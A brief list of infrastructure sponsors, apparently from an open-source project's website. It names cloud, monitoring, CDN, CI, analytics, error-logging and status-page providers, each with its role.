AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page